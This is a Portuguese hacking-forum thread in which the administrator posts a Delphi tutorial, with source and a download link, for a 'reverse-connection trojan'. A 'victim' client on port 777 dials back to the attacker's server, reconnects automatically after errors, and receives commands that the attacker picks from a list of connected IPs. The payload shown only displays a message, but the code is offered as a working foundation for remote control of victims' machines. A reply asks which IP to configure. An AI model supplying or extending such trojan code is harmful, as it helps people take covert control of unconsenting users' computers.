Forum ViSiBLe

Bem Vindo
Se registrares neste fórum, podes fazer parte da nossa comunidade.Prezamos aqui pela participação ACTIVA de cada membro.


Atençao: Nao precisa Confirma a sua conta no hotmail (Basta Registrar e Começar a participar do forum.)

WWW.FORUMVISIBLE.COM

Temos vagas na STAFF !! Clique Aqui!

[TUTORIAL+SOURCE] Criando e Entendendo um Trojan Simples de Conecção Reversa.

Compartilhe
avatar
MrViSiBLe
Administrador
Administrador

Número de Mensagens : 3778
Idade : 24
Localização : Cuiaba
Agradecimentos Agradecimentos : 864
Data de inscrição : 10/12/2008

[TUTORIAL+SOURCE] Criando e Entendendo um Trojan Simples de Conecção Reversa.

Mensagem por MrViSiBLe em 8/21/2010, 00:23

Primeiro de Tudo Não sei se ta bom porque estou meio com SONO e
ASSUSTADO pois minha casa foi invadida a umas 3 ~4 horas(Quando Fiz
Tutorial) e estou meio perdido ainda, mais to fazendo o tutorial pra
esquecer um pouco.


O que é TROJAN de Conexão Reversa?
TROJAN Conexão Reversa como diz o nome
é reversa por não ser como os TROJAN's tradicionais em que você se
conecta a vitima digitando o IP da mesma, no caso aqui na reversa a
vitima se conecta a você evitando assim o trabalho de ter de saber o IP da mesma e tambem algumas falhas devido a vitima ter internet compartilhada e etc


***Criando Cliente(VITIMA) : ***

1º Abra o delphi...

2º Instale o component do delphi Socket va em
"Component > Install Packages > Add... " e na pasta do delphi selecione o "dclsockets70.bpl" e pronto clique OK.


Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

3º Crie um projeto em "File > New > Aplication" e o salve...

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

4º Coloque os Seguintes components no seu "Form":


Citação:


* 1 - ClientSocket : Na Aba de Componentes "Internet".


5º No "ClientSocket1" Defina a porta usada no seu Server no caso a "777", e tambem o IP
da maquina server e o coloque o "Active" como "TRUE":


Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

6º No "ClientSocket1" altere o "event" "OnRead" para o seguinte:


Citação:


if Socket.ReceiveText='CheatsBrasil' then begin
ShowMessage('Comando "CheatsBrasil" Recebido com Sucesso!');
end;



Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

7º No "ClientSocket1" altere o "event" "OnError" para o seguinte:


Citação:



ErrorCode:=0;
(sender as TClientSocket).Active:=false;
sleep(2000);
(sender as TClientSocket).Active:=true;



Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

8º Pronto Cliente(VITIMA) Terminado. Agora Vamos ao Server(VOCÊ).

***Criando Server(VOCÊ) : ***

1º Abra o delphi...

2º Instale o component do delphi Socket caso ele esteja desinstalado ainda, va em
"Component > Install Packages > Add... " e na pasta do delphi selecione o "dclsockets70.bpl" e pronto clique OK.


Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

3º Crie um projeto em "File > New > Aplication" e o salve...

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

4º Coloque os Seguintes components no seu "Form":


Citação:


* 1 - ListBox : Na Aba de Componentes "Standard".
* 2 - Buttons : Na Aba de Componentes "Standard".
* 1 - SpinEdit : Na Aba de Componentes "Samples".
* 1 - ClientSocket : Na Aba de Componentes "Internet".


Como:
[Você precisa estar registrado e conectado para ver esta imagem.]
Como:
[Você precisa estar registrado e conectado para ver esta imagem.]
Como:
[Você precisa estar registrado e conectado para ver esta imagem.]
Como:
[Você precisa estar registrado e conectado para ver esta imagem.]


* No "Button1" altere o "Caption" para "Sair" :

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

* No "Button2" altere o "Caption" para "Configurar Porta" :

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

6º No "SpinEdit1" altere o "MinValue" e "MaxValue" para:


Citação:


MinValue = 1
MaxValue = 65535



Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

7º Defina a porta do "SocketServer1" para a que desejar no caso eu usarei a "777".

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

8º Adicione o seguinte procedimento:


Citação:


Procedure TForm1.ListarConeccoes;
var
i : integer;
begin
ListBox1.Clear;
for i := 0 To ServerSocket1.Socket.ActiveConnections -1 do
begin
ListBox1.Items.add(ServerSocket1.Socket.Connection s[i].RemoteHost);
end;
Caption := 'Tutorial Trojan - '+IntToStr(ServerSocket1.Socket.ActiveConnections) + ' Conecções.';
end;



E o Declare :

Como:
[Você precisa estar registrado e conectado para ver esta imagem.]

9º No "ServerSocket1" adcione o "ListarConeccoes;" nos seguintes eventos:

Como:
[Você precisa estar registrado e conectado para ver este link.]

10º No "button2" adicione o seguinte:


Citação:



Citação:






if SpinEdit1.Visible=true then begin
SpinEdit1.Visible:=false;
ServerSocket1.Active:=false;
ServerSocket1.Port:=SpinEdit1.Value;
ServerSocket1.Active:=true; end else





Como:
[Você precisa estar registrado e conectado para ver este link.]

11º No "SpinEdit1" altere o "visible" para "FALSE".

Como:
[Você precisa estar registrado e conectado para ver este link.]

12º No "Button1" dê dois clique e adicione :


Citação:


Close;


Como:
[Você precisa estar registrado e conectado para ver este link.]

13º No "ServerSocket1" altere o "Active" para "True".

Como:
[Você precisa estar registrado e conectado para ver este link.]

14º No "ListBox1" dê dois clique e deixe como seguinte:


Citação:


procedure TForm1.ListBox1DblClick(Sender: TObject);
var
i,ConnectionID : integer;
begin
//
For i := 0 to ListBox1.Items.Count-1 do begin
//
if ListBox1.Selected[i]=false then
begin
Showmessage('Nenhum IP Selecionado!');
end else begin
//
if ListBox1.itemindex <> -1 then
begin
if ServerSocket1.Active then
try
ConnectionID := ListBox1.Itemindex;
ServerSocket1.Socket.Connections[ConnectionID].SendText('CheatsBrasil');
except
end else Showmessage('Você não está connectado...');
end else showmessage('Você deve selecionar a qual cliente quer enviar o comando.');
end;
//
end;
//
end;



Como:
[Você precisa estar registrado e conectado para ver este link.]

15º Altere o "Value" do "SpinEdit1" para "777":

Como:
[Você precisa estar registrado e conectado para ver este link.]

16º Pronto Terminado. Ele devera ficar mais ou menos assim:

[Você precisa estar registrado e conectado para ver este link.]

Obrigado e Malz qualquer erro, me avisem que irei corrigir.

CREDITOS:

* TUTORIAL : 00Phoenix00 = HTR[AntraX]Kernel

+ DOWNLOAD DA SOURCE :


[Você precisa estar registrado e conectado para ver este link.]
avatar
TheSeeker
MEMBRO
MEMBRO

Número de Mensagens : 1
Idade : 25
Agradecimentos Agradecimentos : 1
Data de inscrição : 14/10/2011

Re: [TUTORIAL+SOURCE] Criando e Entendendo um Trojan Simples de Conecção Reversa.

Mensagem por TheSeeker em 10/14/2011, 19:51

Ei, desculpa a minha ignorância mais na parte que você diz "5º No "ClientSocket1" Defina a porta usada no seu Server no caso a "777", e tambem o IP
da maquina server
e o coloque o "Active" como "TRUE":"
como vejo o ip que tenho que por?

    Data/hora atual: 9/20/2017, 21:36